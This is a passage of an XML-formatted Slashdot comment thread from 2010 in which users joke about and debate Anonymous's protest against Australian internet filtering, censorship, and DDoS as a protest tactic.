	<datestamp>1266228720000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p><div class="quote"><p>75\% American, 10\% Canadian and 15\% everyone else</p></div><p>Take that all you limey bastards, you don't even warrant being listed separately.</p><p><nobr> <wbr></nobr>//girds loins in preparation for a stern, but polite, rebuttal</p></div>
	</htmltext>
<tokenext>75 \ % American , 10 \ % Canadian and 15 \ % everyone elseTake that all you limey bastards , you do n't even warrant being listed separately .
//girds loins in preparation for a stern , but polite , rebuttal</tokentext>
<sentencetext>75\% American, 10\% Canadian and 15\% everyone elseTake that all you limey bastards, you don't even warrant being listed separately.
//girds loins in preparation for a stern, but polite, rebuttal
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146836</id>
	<title>Re:WRONG!</title>
	<author>noidentity</author>
	<datestamp>1266263280000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>*YOU* should have the right to deem what is appropriate for you or your family to be exposed to.</p></div>
</blockquote><p>You *DO* have that right. It's just a question of whether someone else is violating it.</p></div>
	</htmltext>
<tokenext>* YOU * should have the right to deem what is appropriate for you or your family to be exposed to .
You * DO * have that right .
It 's just a question of whether someone else is violating it .</tokentext>
<sentencetext>*YOU* should have the right to deem what is appropriate for you or your family to be exposed to.
You *DO* have that right.
It's just a question of whether someone else is violating it.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142728</id>
	<title>Re:"tit storm"</title>
	<author>deniable</author>
	<datestamp>1266237540000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Big Kev says "I'm excited." Oh, that's wrong in so many ways.</htmltext>
<tokenext>Big Kev says " I 'm excited .
" Oh , that 's wrong in so many ways .</tokentext>
<sentencetext>Big Kev says "I'm excited.
" Oh, that's wrong in so many ways.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146452</id>
	<title>second class citizen</title>
	<author>Anonymous</author>
	<datestamp>1266261120000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>The article made it clear that the government believes small-breasted women are second-class citizens, and are not deserving of the same rights as large-breasted women.</p><p>Any man who is presently dating or married to a small-breasted woman is obviously a pedophile, and should be procesecuted as such to the full extent of the law.</p><p>Also, any man who claims that he doesn't buy into the bigger-is-better notion, and preferrs small-breasted women, falls into the same category.</p><p>Also, all small-breasted women should be legally required to have their breasts surgically enlarged, otherwise the women will be breaking obscenity laws whenever they walk around in public.</p></htmltext>
<tokenext>The article made it clear that the government believes small-breasted women are second-class citizens , and are not deserving of the same rights as large-breasted women.Any man who is presently dating or married to a small-breasted woman is obviously a pedophile , and should be procesecuted as such to the full extent of the law.Also , any man who claims that he does n't buy into the bigger-is-better notion , and preferrs small-breasted women , falls into the same category.Also , all small-breasted women should be legally required to have their breasts surgically enlarged , otherwise the women will be breaking obscenity laws whenever they walk around in public .</tokentext>
<sentencetext>The article made it clear that the government believes small-breasted women are second-class citizens, and are not deserving of the same rights as large-breasted women.Any man who is presently dating or married to a small-breasted woman is obviously a pedophile, and should be procesecuted as such to the full extent of the law.Also, any man who claims that he doesn't buy into the bigger-is-better notion, and preferrs small-breasted women, falls into the same category.Also, all small-breasted women should be legally required to have their breasts surgically enlarged, otherwise the women will be breaking obscenity laws whenever they walk around in public.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142024</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266227940000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>Given that part of the outrage is apparently due to a ban on depictions of small-breasted women, I think the title of the protest is entirely appropriate.</p></htmltext>
<tokenext>Given that part of the outrage is apparently due to a ban on depictions of small-breasted women , I think the title of the protest is entirely appropriate .</tokentext>
<sentencetext>Given that part of the outrage is apparently due to a ban on depictions of small-breasted women, I think the title of the protest is entirely appropriate.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142240</id>
	<title>Freedom</title>
	<author>Anonymous</author>
	<datestamp>1266230940000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>Members of Anonymous are infringing on my right to freedom of speech. I'm afraid to speak on my own domain without fear that it will piss one of them off enough to DOS my server.</htmltext>
<tokenext>Members of Anonymous are infringing on my right to freedom of speech .
I 'm afraid to speak on my own domain without fear that it will piss one of them off enough to DOS my server .</tokentext>
<sentencetext>Members of Anonymous are infringing on my right to freedom of speech.
I'm afraid to speak on my own domain without fear that it will piss one of them off enough to DOS my server.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</id>
	<title>Storm of chicks?</title>
	<author>Fotograf</author>
	<datestamp>1266176640000</datestamp>
	<modclass>Funny</modclass>
	<modscore>5</modscore>
	<htmltext>Sorry, didnt read TFA, it would spoil my imagination</htmltext>
<tokenext>Sorry , didnt read TFA , it would spoil my imagination</tokentext>
<sentencetext>Sorry, didnt read TFA, it would spoil my imagination</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147670</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>computational super</author>
	<datestamp>1266267060000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><i>How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest?</i>
<p>Uh, yeah, that's the point, Sherlock.  "You censor us, we censor you.  Sucks, doesn't it?  This is the internet.  You don't make the rules here, we do.  You stop, we stop."</p></htmltext>
<tokenext>How about the fact that their methods of " protesting " are consistently as suppressive as what they 're trying to protest ?
Uh , yeah , that 's the point , Sherlock .
" You censor us , we censor you .
Sucks , does n't it ?
This is the internet .
You do n't make the rules here , we do .
You stop , we stop .
"</tokentext>
<sentencetext>How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest?
Uh, yeah, that's the point, Sherlock.
"You censor us, we censor you.
Sucks, doesn't it?
This is the internet.
You don't make the rules here, we do.
You stop, we stop.
"</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143698</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142594</id>
	<title>Caution</title>
	<author>Anonymous</author>
	<datestamp>1266236220000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>I was infected by a Trojan "av.exe" while visiting a link from the article. I think it was the project freeweb site, but the link seems to be removed from the article now.</p></htmltext>
<tokenext>I was infected by a Trojan " av.exe " while visiting a link from the article .
I think it was the project freeweb site , but the link seems to be removed from the article now .</tokentext>
<sentencetext>I was infected by a Trojan "av.exe" while visiting a link from the article.
I think it was the project freeweb site, but the link seems to be removed from the article now.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147214</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266264900000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>NO U</p></htmltext>
<tokenext>NO U</tokentext>
<sentencetext>NO U</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141528</id>
	<title>Re:'Anonymous' another way of saying 'the people'?</title>
	<author>nine-times</author>
	<datestamp>1266264900000</datestamp>
	<modclass>Informativ</modclass>
	<modscore>5</modscore>
	<htmltext><p>Well I think it's the protestors who are taking on the mantle of "Anonymous", not the press who are attributing it to them.  The press largely doesn't understand what the deal is with "Anonymous", but then a lot of the press is never really digs into these things.
</p><p>Also, it's true that "the people" don't do anything as a whole.  You get some subset working on something, and even if they're very poorly organized, it helps you have a term for them so you can reference them easily.
</p><p>I thought part of the reason people liked claiming to be part of "Anonymous" was that the press didn't understand what the hell was going on.  Basically anyone can validly claim to be "Anonymous" so long as they're... you know... anonymous... and the press will suddenly act like that person is the head of a powerful hacker terrorist crime syndicate.</p></htmltext>
<tokenext>Well I think it 's the protestors who are taking on the mantle of " Anonymous " , not the press who are attributing it to them .
The press largely does n't understand what the deal is with " Anonymous " , but then a lot of the press is never really digs into these things .
Also , it 's true that " the people " do n't do anything as a whole .
You get some subset working on something , and even if they 're very poorly organized , it helps you have a term for them so you can reference them easily .
I thought part of the reason people liked claiming to be part of " Anonymous " was that the press did n't understand what the hell was going on .
Basically anyone can validly claim to be " Anonymous " so long as they 're... you know... anonymous... and the press will suddenly act like that person is the head of a powerful hacker terrorist crime syndicate .</tokentext>
<sentencetext>Well I think it's the protestors who are taking on the mantle of "Anonymous", not the press who are attributing it to them.
The press largely doesn't understand what the deal is with "Anonymous", but then a lot of the press is never really digs into these things.
Also, it's true that "the people" don't do anything as a whole.
You get some subset working on something, and even if they're very poorly organized, it helps you have a term for them so you can reference them easily.
I thought part of the reason people liked claiming to be part of "Anonymous" was that the press didn't understand what the hell was going on.
Basically anyone can validly claim to be "Anonymous" so long as they're... you know... anonymous... and the press will suddenly act like that person is the head of a powerful hacker terrorist crime syndicate.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31149038</id>
	<title>Re:Will be interesting, but...</title>
	<author>Zerth</author>
	<datestamp>1266230880000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>While I'd prefer no filtering by the government at all, I'd much rather prefer a filter that is clear about what it permits(public whitelist) than a filter that is unclear about what it denies(hidden blacklist).</p><p>Especially since a whitelist would be nearly impossible to maintain effectively and would piss off everyone much more than the blacklist would.</p><p>Insist that no filtering method be used unless it is blocks 100\% of objectionable material:)</p></htmltext>
<tokenext>While I 'd prefer no filtering by the government at all , I 'd much rather prefer a filter that is clear about what it permits ( public whitelist ) than a filter that is unclear about what it denies ( hidden blacklist ) .Especially since a whitelist would be nearly impossible to maintain effectively and would piss off everyone much more than the blacklist would.Insist that no filtering method be used unless it is blocks 100 \ % of objectionable material : )</tokentext>
<sentencetext>While I'd prefer no filtering by the government at all, I'd much rather prefer a filter that is clear about what it permits(public whitelist) than a filter that is unclear about what it denies(hidden blacklist).Especially since a whitelist would be nearly impossible to maintain effectively and would piss off everyone much more than the blacklist would.Insist that no filtering method be used unless it is blocks 100\% of objectionable material:)</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514</id>
	<title>Well Then...</title>
	<author>HamSammy</author>
	<datestamp>1266264780000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext>If censorship is what our government overlords have decided is best for us, clearly we are in need of a new democracy. Too bad our new democracy is run by Anonymous.</htmltext>
<tokenext>If censorship is what our government overlords have decided is best for us , clearly we are in need of a new democracy .
Too bad our new democracy is run by Anonymous .</tokentext>
<sentencetext>If censorship is what our government overlords have decided is best for us, clearly we are in need of a new democracy.
Too bad our new democracy is run by Anonymous.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141422</id>
	<title>Nice Try</title>
	<author>Legion303</author>
	<datestamp>1266177480000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>1</modscore>
	<htmltext><p>"Hacker group"</p><p>Nope.</p></htmltext>
<tokenext>" Hacker group " Nope .</tokentext>
<sentencetext>"Hacker group"Nope.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141594</id>
	<title>Re:'Anonymous' another way of saying 'the people'?</title>
	<author>Trepidity</author>
	<datestamp>1266265860000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>It is kind of interesting that they're managing to get media attention for it, which is one of the major goals of protests. Even when it's a repackaging of traditional protest techniques, they seem to be relatively good at PR-managing it, in comparison to more traditional protest groups. Partly, this seems to be because they're: 1) somewhat more theatrical; and 2) more single-issue, so the anti-Scientology or anti-censorship protest isn't diluted by a parade of the usual suspects with off-topic preaching of veganism, 9/11 conspiracy theories, antiglobalization, and such.</p></htmltext>
<tokenext>It is kind of interesting that they 're managing to get media attention for it , which is one of the major goals of protests .
Even when it 's a repackaging of traditional protest techniques , they seem to be relatively good at PR-managing it , in comparison to more traditional protest groups .
Partly , this seems to be because they 're : 1 ) somewhat more theatrical ; and 2 ) more single-issue , so the anti-Scientology or anti-censorship protest is n't diluted by a parade of the usual suspects with off-topic preaching of veganism , 9/11 conspiracy theories , antiglobalization , and such .</tokentext>
<sentencetext>It is kind of interesting that they're managing to get media attention for it, which is one of the major goals of protests.
Even when it's a repackaging of traditional protest techniques, they seem to be relatively good at PR-managing it, in comparison to more traditional protest groups.
Partly, this seems to be because they're: 1) somewhat more theatrical; and 2) more single-issue, so the anti-Scientology or anti-censorship protest isn't diluted by a parade of the usual suspects with off-topic preaching of veganism, 9/11 conspiracy theories, antiglobalization, and such.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144682</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266252480000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>whatevz.</p></htmltext>
<tokenext>whatevz .</tokentext>
<sentencetext>whatevz.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142608</id>
	<title>Re:"tit storm"</title>
	<author>houghi</author>
	<datestamp>1266236400000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>Really guys, naming your protest after female anatomy does nothing to help the cause.</p></div></blockquote><p>By NOT using the name, you would be doing what you are opposing: Censorship. And breaking the privacy of others just to get ahead?<br>I should be doing whatever I like in my free time. Wether that is looking at tits or playing with tits is nobodies business.</p><p>I will however also fight for the same rights for those people who are against them. Even politicians with their misteresses and other hypocrites. How could I break that privacy with others if I want to defend it?</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause.By NOT using the name , you would be doing what you are opposing : Censorship .
And breaking the privacy of others just to get ahead ? I should be doing whatever I like in my free time .
Wether that is looking at tits or playing with tits is nobodies business.I will however also fight for the same rights for those people who are against them .
Even politicians with their misteresses and other hypocrites .
How could I break that privacy with others if I want to defend it ?</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.By NOT using the name, you would be doing what you are opposing: Censorship.
And breaking the privacy of others just to get ahead?I should be doing whatever I like in my free time.
Wether that is looking at tits or playing with tits is nobodies business.I will however also fight for the same rights for those people who are against them.
Even politicians with their misteresses and other hypocrites.
How could I break that privacy with others if I want to defend it?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142066</id>
	<title>Re:Curiosity</title>
	<author>ZirconCode</author>
	<datestamp>1266228360000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Creating the program/script is not the difficult part. You see, the extra D in front of DOS stands for distributed, meaning more than one computer attacks at once, making it a lot more efficient. It takes a lot of skill to organize the people or create a bot net of good size.</p><p>Of course your metaphor still holds tight, but remember, a thousand peasants throwing rocks hurts a lot more.</p></htmltext>
<tokenext>Creating the program/script is not the difficult part .
You see , the extra D in front of DOS stands for distributed , meaning more than one computer attacks at once , making it a lot more efficient .
It takes a lot of skill to organize the people or create a bot net of good size.Of course your metaphor still holds tight , but remember , a thousand peasants throwing rocks hurts a lot more .</tokentext>
<sentencetext>Creating the program/script is not the difficult part.
You see, the extra D in front of DOS stands for distributed, meaning more than one computer attacks at once, making it a lot more efficient.
It takes a lot of skill to organize the people or create a bot net of good size.Of course your metaphor still holds tight, but remember, a thousand peasants throwing rocks hurts a lot more.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141778</id>
	<title>Oh come on now... Don't encourage them.</title>
	<author>Anonymous</author>
	<datestamp>1266224760000</datestamp>
	<modclass>Troll</modclass>
	<modscore>-1</modscore>
	<htmltext><p>/b/ is feeling ignored and/or irrelevant again then.</p><p>How does this make front page, really?<br>I man, to re-summarize "4Chan's unwashed horde of script kiddies and shy exhibitionists claim to be planning idiotic behavior in Australia".</p><p>How does this make it to the level of either "News for nerds", "Stuff that matters", or even to the level of "stuff worth commenting on beyond noting the worthlessness and sub-human qualities of the pathetic freaks involved"?</p></htmltext>
<tokenext>/b/ is feeling ignored and/or irrelevant again then.How does this make front page , really ? I man , to re-summarize " 4Chan 's unwashed horde of script kiddies and shy exhibitionists claim to be planning idiotic behavior in Australia " .How does this make it to the level of either " News for nerds " , " Stuff that matters " , or even to the level of " stuff worth commenting on beyond noting the worthlessness and sub-human qualities of the pathetic freaks involved " ?</tokentext>
<sentencetext>/b/ is feeling ignored and/or irrelevant again then.How does this make front page, really?I man, to re-summarize "4Chan's unwashed horde of script kiddies and shy exhibitionists claim to be planning idiotic behavior in Australia".How does this make it to the level of either "News for nerds", "Stuff that matters", or even to the level of "stuff worth commenting on beyond noting the worthlessness and sub-human qualities of the pathetic freaks involved"?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141354</id>
	<title>5/5 Male slashdotters agree...</title>
	<author>arrbeeehh</author>
	<datestamp>1266177060000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>They thought breasts would be here and were mislead by the topic! Shame on you slashdot</htmltext>
<tokenext>They thought breasts would be here and were mislead by the topic !
Shame on you slashdot</tokentext>
<sentencetext>They thought breasts would be here and were mislead by the topic!
Shame on you slashdot</sentencetext>
</comment>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_16</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141664
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143826
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_5</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143262
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_65</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142104
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_101</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142510
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_10</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31158856
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_81</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141894
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_72</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143730
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_95</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141622
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144486
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_58</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142362
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_29</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141800
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150092
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_11</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146396
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_0</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141846
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_71</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_34</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142108
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_62</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142772
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_57</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141852
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153408
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_36</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31149038
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_59</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141628
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144076
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_35</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151796
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_26</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142822
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_87</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144682
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_1</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142170
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_63</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142474
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_94</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145122
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_77</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146204
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_70</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141670
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146070
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_93</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141948
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_56</id>
